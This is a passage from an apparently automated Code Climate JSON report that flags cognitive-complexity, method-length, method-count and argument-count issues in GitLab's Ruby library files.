a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4b3b0f6bd727a62eae22091574b81015","location":{"path":"lib/gitlab/mail_room.rb","lines":{"begin":31,"end":49}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `note_url` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"59ca4f1b16f978d96a1c7e36f7e69d62","location":{"path":"lib/gitlab/url_builder.rb","lines":{"begin":52,"end":71}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `rewrite` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f45f6ba5c50a0ab576b49cf1b282a615","location":{"path":"lib/gitlab/gfm/uploads_rewriter.rb","lines":{"begin":19,"end":29}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `unfold_reference` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"be381321436537b6ec6941dcff14d0b9","location":{"path":"lib/gitlab/gfm/reference_rewriter.rb","lines":{"begin":56,"end":72}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `sections` has a Cognitive Complexity of 24 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0f6b50ef494458ae4f54e52a28568869","location":{"path":"lib/gitlab/conflict/file.rb","lines":{"begin":49,"end":110}},"other_locations":[],"remediation_points":2050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_match_line_header` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4fef2b9774e94d0bd02f1158378f701c","location":{"path":"lib/gitlab/conflict/file.rb","lines":{"begin":123,"end":137}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `as_json` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ed7b03c5a2c2d110a9a9db9e00f3d8d0","location":{"path":"lib/gitlab/conflict/file.rb","lines":{"begin":150,"end":168}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `sections` has 36 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"629b80d357b767eb9b1f37185affacd4","location":{"path":"lib/gitlab/conflict/file.rb","lines":{"begin":49,"end":110}},"other_locations":[],"remediation_points":864000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `which` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"565d3b45775f71100b9c7277076be0f6","location":{"path":"lib/gitlab/utils.rb","lines":{"begin":63,"end":74}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `render_go_doc` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e0fac0dd89237b115b26def1d32171a6","location":{"path":"lib/gitlab/middleware/go.rb","lines":{"begin":22,"end":33}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `with_open_files` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"83c9d42c4a44fe57eeee2a2b269ddb60","location":{"path":"lib/gitlab/middleware/multipart.rb","lines":{"begin":38,"end":57}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `decorate_params_value` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"32d0634549f8a039069852514c0c4e20","location":{"path":"lib/gitlab/middleware/multipart.rb","lines":{"begin":60,"end":82}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `initialize` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"100b77808e789566083b5722f853d491","location":{"path":"lib/gitlab/legacy_github_import/project_creator.rb","lines":{"begin":6,"end":6}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_issues` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3bfd1976bd1c3f5b63ad73183773103c","location":{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":117,"end":136}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_pull_requests` has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d3b76e6c4972600af102835c1739459a","location":{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":139,"end":165}},"other_locations":[],"remediation_points":1550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create_comments` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8131d9fa54052fb8688da41fca5b29ff","location":{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":222,"end":245}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_wiki` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c9017489731af795ba61fdc442e91922","location":{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":266,"end":278}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_releases` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6cf70c97f808766cb57657e58420cb89","location":{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":280,"end":291}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Importer` has 27 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"564493c4d63110500702ce8552822c02","location":{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":3,"end":339}},"other_locations":[],"remediation_points":1900000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `each_object_to_import` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1c46822af079d421dee8173b07f3b80a","location":{"path":"lib/gitlab/github_import/parallel_scheduling.rb","lines":{"begin":78,"end":106}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `each_page` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d8e73017cc50cf5ae0ff94ea436d3ced","location":{"path":"lib/gitlab/github_import/client.rb","lines":{"begin":91,"end":112}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `with_rate_limit` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f8e67dd27500a710187cc201ddc1dded","location":{"path":"lib/gitlab/github_import/client.rb","lines":{"begin":133,"end":149}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Client` has 22 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"8c409ff9cd79515f70c131a687a58c2d","location":{"path":"lib/gitlab/github_import/client.rb","lines":{"begin":16,"end":216}},"other_locations":[],"remediation_points":1400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create_sub_relations` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"de78150728d4deb7bbd23ae848875928","location":{"path":"lib/gitlab/import_export/project_tree_restorer.rb","lines":{"begin":134,"end":159}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `process_sub_relation` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"357889b554818506acea0dfc8f000afc","location":{"path":"lib/gitlab/import_export/project_tree_restorer.rb","lines":{"begin":161,"end":171}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e960e3648215aee14c4e5443b5f897b0","location":{"path":"lib/gitlab/import_export/after_export_strategies/base_after_export_strategy.rb","lines":{"begin":27,"end":49}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `build!` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1dd9f4457d861e5b12020c99ef408fe4","location":{"path":"lib/gitlab/import_export/after_export_strategy_builder.rb","lines":{"begin":6,"end":17}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `parse!` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"343742e2d2dc60bd360734eccf276cc8","location":{"path":"lib/gitlab/import_export/merge_request_parser.rb","lines":{"begin":13,"end":22}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `copy_project_uploads` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d141822a7e49c9987620bcbcaf7749c0","location":{"path":"lib/gitlab/import_export/uploads_manager.rb","lines":{"begin":44,"end":56}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Importer` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"9b57d9528846dda6448ed9d3a49747c3","location":{"path":"lib/gitlab/import_export/importer.rb","lines":{"begin":3,"end":129}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `imported_object` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7150a66352dfbd84b82e4bfa60942b90","location":{"path":"lib/gitlab/import_export/relation_factory.rb","lines":{"begin":198,"end":209}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `RelationFactory` has 30 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"4f17a460cbd29b77fbb38f05dd3866a4","location":{"path":"lib/gitlab/import_export/relation_factory.rb","lines":{"begin":3,"end":281}},"other_locations":[],"remediation_points":2200000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `project_attributes` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"80346e71805b8ddd466c6b77a8f2e1e6","location":{"path":"lib/gitlab/import_export/group_project_object_builder.rb","lines":{"begin":49,"end":62}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `build` has 7 arguments (exceeds 4 allowed). Consider 